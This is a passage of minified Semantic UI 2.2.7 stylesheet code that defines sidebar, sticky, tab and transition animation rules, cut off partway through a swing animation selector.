wide"].right.sidebar~.pusher{-webkit-transform:translate3d(-475px,0,0);transform:translate3d(-475px,0,0)}.ui.overlay.sidebar{z-index:102}.ui.left.overlay.sidebar{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.overlay.sidebar{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.top.overlay.sidebar{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.overlay.sidebar{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.animating.ui.overlay.sidebar,.ui.visible.overlay.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.visible.left.overlay.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.right.overlay.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.top.overlay.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.bottom.overlay.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.overlay.sidebar~.fixed,.ui.visible.overlay.sidebar~.pusher{-webkit-transform:none!important;transform:none!important}.ui.push.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;z-index:102}.ui.left.push.sidebar{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.push.sidebar{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.top.push.sidebar{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.push.sidebar{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ui.visible.push.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.uncover.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:1}.ui.visible.uncover.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.slide.along.sidebar{z-index:1}.ui.left.slide.along.sidebar{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}.ui.right.slide.along.sidebar{-webkit-transform:translate3d(50%,0,0);transform:translate3d(50%,0,0)}.ui.top.slide.along.sidebar{-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.ui.bottom.slide.along.sidebar{-webkit-transform:translate3d(0,50%,0);transform:translate3d(0,50%,0)}.ui.animating.slide.along.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.visible.slide.along.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.slide.out.sidebar{z-index:1}.ui.left.slide.out.sidebar{-webkit-transform:translate3d(50%,0,0);transform:translate3d(50%,0,0)}.ui.right.slide.out.sidebar{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}.ui.top.slide.out.sidebar{-webkit-transform:translate3d(0,50%,0);transform:translate3d(0,50%,0)}.ui.bottom.slide.out.sidebar{-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.ui.animating.slide.out.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.visible.slide.out.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.scale.down.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;z-index:102}.ui.left.scale.down.sidebar{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.scale.down.sidebar{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.top.scale.down.sidebar{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.scale.down.sidebar{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ui.scale.down.left.sidebar~.pusher{-webkit-transform-origin:75% 50%;transform-origin:75% 50%}.ui.scale.down.right.sidebar~.pusher{-webkit-transform-origin:25% 50%;transform-origin:25% 50%}.ui.scale.down.top.sidebar~.pusher{-webkit-transform-origin:50% 75%;transform-origin:50% 75%}.ui.scale.down.bottom.sidebar~.pusher{-webkit-transform-origin:50% 25%;transform-origin:50% 25%}.ui.animating.scale.down>.visible.ui.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.animating.scale.down.sidebar~.pusher,.ui.visible.scale.down.sidebar~.pusher{display:block!important;width:100%;height:100%;overflow:hidden!important}.ui.visible.scale.down.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.scale.down.sidebar~.pusher{-webkit-transform:scale(.75);transform:scale(.75)}/*! * # Semantic UI 2.2.7 - Sticky * path_to_url * * * Released under the MIT license * path_to_url * */.ui.sticky{position:static;-webkit-transition:none;transition:none;z-index:800}.ui.sticky.bound{position:absolute;left:auto;right:auto}.ui.sticky.fixed{position:fixed;left:auto;right:auto}.ui.sticky.bound.top,.ui.sticky.fixed.top{top:0;bottom:auto}.ui.sticky.bound.bottom,.ui.sticky.fixed.bottom{top:auto;bottom:0}.ui.native.sticky{position:-webkit-sticky;position:-moz-sticky;position:-ms-sticky;position:-o-sticky;position:sticky}/*! * # Semantic UI 2.2.7 - Tab * path_to_url * * * Released under the MIT license * path_to_url * */.ui.tab{display:none}.ui.tab.active,.ui.tab.open{display:block}.ui.tab.loading{position:relative;overflow:hidden;display:block;min-height:250px}.ui.tab.loading *{position:relative!important;left:-10000px!important}.ui.tab.loading.segment:before,.ui.tab.loading:before{position:absolute;content:'';top:100px;left:50%;margin:-1.25em 0 0 -1.25em;width:2.5em;height:2.5em;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.tab.loading.segment:after,.ui.tab.loading:after{position:absolute;content:'';top:100px;left:50%;margin:-1.25em 0 0 -1.25em;width:2.5em;height:2.5em;-webkit-animation:button-spin .6s linear;animation:button-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em;box-shadow:0 0 0 1px transparent}/*! * # Semantic UI 2.2.7 - Transition * path_to_url * * * Released under the MIT license * path_to_url * */.transition{-webkit-animation-iteration-count:1;animation-iteration-count:1;-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-timing-function:ease;animation-timing-function:ease;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animating.transition{-webkit-backface-visibility:hidden;backface-visibility:hidden;visibility:visible!important}.loading.transition{position:absolute;top:-99999px;left:-99999px}.hidden.transition{display:none;visibility:hidden}.visible.transition{display:block!important;visibility:visible!important}.disabled.transition{-webkit-animation-play-state:paused;animation-play-state:paused}.looping.transition{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.transition.browse{-webkit-animation-duration:.5s;animation-duration:.5s}.transition.browse.in{-webkit-animation-name:browseIn;animation-name:browseIn}.transition.browse.left.out,.transition.browse.out{-webkit-animation-name:browseOutLeft;animation-name:browseOutLeft}.transition.browse.right.out{-webkit-animation-name:browseOutRight;animation-name:browseOutRight}@-webkit-keyframes browseIn{0%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1}10%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1;opacity:.7}80%{-webkit-transform:scale(1.05) translateZ(0);transform:scale(1.05) translateZ(0);opacity:1;z-index:999}100%{-webkit-transform:scale(1) translateZ(0);transform:scale(1) translateZ(0);z-index:999}}@keyframes browseIn{0%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1}10%{-webkit-transform:scale(.8) translateZ(0);transform:scale(.8) translateZ(0);z-index:-1;opacity:.7}80%{-webkit-transform:scale(1.05) translateZ(0);transform:scale(1.05) translateZ(0);opacity:1;z-index:999}100%{-webkit-transform:scale(1) translateZ(0);transform:scale(1) translateZ(0);z-index:999}}@-webkit-keyframes browseOutLeft{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:-1;-webkit-transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:-1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}@keyframes browseOutLeft{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:-1;-webkit-transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:-1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}@-webkit-keyframes browseOutRight{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:1;-webkit-transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}@keyframes browseOutRight{0%{z-index:999;-webkit-transform:translateX(0) rotateY(0) rotateX(0);transform:translateX(0) rotateY(0) rotateX(0)}50%{z-index:1;-webkit-transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px);transform:translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px)}80%{opacity:1}100%{z-index:1;-webkit-transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);transform:translateX(0) rotateY(0) rotateX(0) translateZ(-10px);opacity:0}}.drop.transition{-webkit-transform-origin:top center;transform-origin:top center;-webkit-animation-duration:.4s;animation-duration:.4s;-webkit-animation-timing-function:cubic-bezier(.34,1.61,.7,1);animation-timing-function:cubic-bezier(.34,1.61,.7,1)}.drop.transition.in{-webkit-animation-name:dropIn;animation-name:dropIn}.drop.transition.out{-webkit-animation-name:dropOut;animation-name:dropOut}@-webkit-keyframes dropIn{0%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes dropIn{0%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes dropOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}}@keyframes dropOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(0);transform:scale(0)}}.transition.fade.in{-webkit-animation-name:fadeIn;animation-name:fadeIn}.transition[class*="fade up"].in{-webkit-animation-name:fadeInUp;animation-name:fadeInUp}.transition[class*="fade down"].in{-webkit-animation-name:fadeInDown;animation-name:fadeInDown}.transition[class*="fade left"].in{-webkit-animation-name:fadeInLeft;animation-name:fadeInLeft}.transition[class*="fade right"].in{-webkit-animation-name:fadeInRight;animation-name:fadeInRight}.transition.fade.out{-webkit-animation-name:fadeOut;animation-name:fadeOut}.transition[class*="fade up"].out{-webkit-animation-name:fadeOutUp;animation-name:fadeOutUp}.transition[class*="fade down"].out{-webkit-animation-name:fadeOutDown;animation-name:fadeOutDown}.transition[class*="fade left"].out{-webkit-animation-name:fadeOutLeft;animation-name:fadeOutLeft}.transition[class*="fade right"].out{-webkit-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeInDown{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInDown{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeInRight{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeInRight{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@-webkit-keyframes fadeOutUp{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(5%);transform:translateY(5%)}}@keyframes fadeOutUp{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(5%);transform:translateY(5%)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(-5%);transform:translateY(-5%)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(-5%);transform:translateY(-5%)}}@-webkit-keyframes fadeOutLeft{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(5%);transform:translateX(5%)}}@keyframes fadeOutLeft{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(5%);transform:translateX(5%)}}@-webkit-keyframes fadeOutRight{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(-5%);transform:translateX(-5%)}}@keyframes fadeOutRight{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(-5%);transform:translateX(-5%)}}.flip.transition.in,.flip.transition.out{-webkit-animation-duration:.6s;animation-duration:.6s}.horizontal.flip.transition.in{-webkit-animation-name:horizontalFlipIn;animation-name:horizontalFlipIn}.horizontal.flip.transition.out{-webkit-animation-name:horizontalFlipOut;animation-name:horizontalFlipOut}.vertical.flip.transition.in{-webkit-animation-name:verticalFlipIn;animation-name:verticalFlipIn}.vertical.flip.transition.out{-webkit-animation-name:verticalFlipOut;animation-name:verticalFlipOut}@-webkit-keyframes horizontalFlipIn{0%{-webkit-transform:perspective(2000px) rotateY(-90deg);transform:perspective(2000px) rotateY(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}}@keyframes horizontalFlipIn{0%{-webkit-transform:perspective(2000px) rotateY(-90deg);transform:perspective(2000px) rotateY(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}}@-webkit-keyframes verticalFlipIn{0%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}}@keyframes verticalFlipIn{0%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}}@-webkit-keyframes horizontalFlipOut{0%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateY(90deg);transform:perspective(2000px) rotateY(90deg);opacity:0}}@keyframes horizontalFlipOut{0%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateY(90deg);transform:perspective(2000px) rotateY(90deg);opacity:0}}@-webkit-keyframes verticalFlipOut{0%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}}@keyframes verticalFlipOut{0%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}}.scale.transition.in{-webkit-animation-name:scaleIn;animation-name:scaleIn}.scale.transition.out{-webkit-animation-name:scaleOut;animation-name:scaleOut}@-webkit-keyframes scaleIn{0%{opacity:0;-webkit-transform:scale(.8);transform:scale(.8)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleIn{0%{opacity:0;-webkit-transform:scale(.8);transform:scale(.8)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes scaleOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(.9);transform:scale(.9)}}@keyframes scaleOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(.9);transform:scale(.9)}}.transition.fly{-webkit-animation-duration:.6s;animation-duration:.6s;-webkit-transition-timing-function:cubic-bezier(.215,.61,.355,1);transition-timing-function:cubic-bezier(.215,.61,.355,1)}.transition.fly.in{-webkit-animation-name:flyIn;animation-name:flyIn}.transition[class*="fly up"].in{-webkit-animation-name:flyInUp;animation-name:flyInUp}.transition[class*="fly down"].in{-webkit-animation-name:flyInDown;animation-name:flyInDown}.transition[class*="fly left"].in{-webkit-animation-name:flyInLeft;animation-name:flyInLeft}.transition[class*="fly right"].in{-webkit-animation-name:flyInRight;animation-name:flyInRight}.transition.fly.out{-webkit-animation-name:flyOut;animation-name:flyOut}.transition[class*="fly up"].out{-webkit-animation-name:flyOutUp;animation-name:flyOutUp}.transition[class*="fly down"].out{-webkit-animation-name:flyOutDown;animation-name:flyOutDown}.transition[class*="fly left"].out{-webkit-animation-name:flyOutLeft;animation-name:flyOutLeft}.transition[class*="fly right"].out{-webkit-animation-name:flyOutRight;animation-name:flyOutRight}@-webkit-keyframes flyIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}100%{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes flyIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}100%{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@-webkit-keyframes flyInUp{0%{opacity:0;-webkit-transform:translate3d(0,1500px,0);transform:translate3d(0,1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes flyInUp{0%{opacity:0;-webkit-transform:translate3d(0,1500px,0);transform:translate3d(0,1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes flyInDown{0%{opacity:0;-webkit-transform:translate3d(0,-1500px,0);transform:translate3d(0,-1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}100%{-webkit-transform:none;transform:none}}@keyframes flyInDown{0%{opacity:0;-webkit-transform:translate3d(0,-1500px,0);transform:translate3d(0,-1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}100%{-webkit-transform:none;transform:none}}@-webkit-keyframes flyInLeft{0%{opacity:0;-webkit-transform:translate3d(1500px,0,0);transform:translate3d(1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}100%{-webkit-transform:none;transform:none}}@keyframes flyInLeft{0%{opacity:0;-webkit-transform:translate3d(1500px,0,0);transform:translate3d(1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}100%{-webkit-transform:none;transform:none}}@-webkit-keyframes flyInRight{0%{opacity:0;-webkit-transform:translate3d(-1500px,0,0);transform:translate3d(-1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}100%{-webkit-transform:none;transform:none}}@keyframes flyInRight{0%{opacity:0;-webkit-transform:translate3d(-1500px,0,0);transform:translate3d(-1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}100%{-webkit-transform:none;transform:none}}@-webkit-keyframes flyOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}100%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@keyframes flyOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}100%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@-webkit-keyframes flyOutUp{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes flyOutUp{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@-webkit-keyframes flyOutDown{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes flyOutDown{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@-webkit-keyframes flyOutRight{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes flyOutRight{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@-webkit-keyframes flyOutLeft{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes flyOutLeft{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.transition.slide.in,.transition[class*="slide down"].in{-webkit-animation-name:slideInY;animation-name:slideInY;-webkit-transform-origin:top center;transform-origin:top center}.transition[class*="slide up"].in{-webkit-animation-name:slideInY;animation-name:slideInY;-webkit-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="slide left"].in{-webkit-animation-name:slideInX;animation-name:slideInX;-webkit-transform-origin:center right;transform-origin:center right}.transition[class*="slide right"].in{-webkit-animation-name:slideInX;animation-name:slideInX;-webkit-transform-origin:center left;transform-origin:center left}.transition.slide.out,.transition[class*="slide down"].out{-webkit-animation-name:slideOutY;animation-name:slideOutY;-webkit-transform-origin:top center;transform-origin:top center}.transition[class*="slide up"].out{-webkit-animation-name:slideOutY;animation-name:slideOutY;-webkit-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="slide left"].out{-webkit-animation-name:slideOutX;animation-name:slideOutX;-webkit-transform-origin:center right;transform-origin:center right}.transition[class*="slide right"].out{-webkit-animation-name:slideOutX;animation-name:slideOutX;-webkit-transform-origin:center left;transform-origin:center left}@-webkit-keyframes slideInY{0%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}100%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@keyframes slideInY{0%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}100%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@-webkit-keyframes slideInX{0%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}100%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}}@keyframes slideInX{0%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}100%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}}@-webkit-keyframes slideOutY{0%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}100%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes slideOutY{0%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}100%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@-webkit-keyframes slideOutX{0%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}100%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}}@keyframes slideOutX{0%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}100%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}}.transition.swing{-webkit-animation-duration:.8s;animation-duration:.8s}.transition[class*="swing down"].in{-webkit-animation-name:swingInX;animation-name:swingInX;-webkit-transform-origin:top center;transform-origin:top center}.transition[class*="swing up"].in{-webkit-animation-name:swingInX;animation-name:swingInX;-webkit-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="swing left"].in{-webkit-animation-name:swingInY;animation-name:swingInY;-webkit-transform-origin:center right;transform-origin:center right}.transition[class*="swing 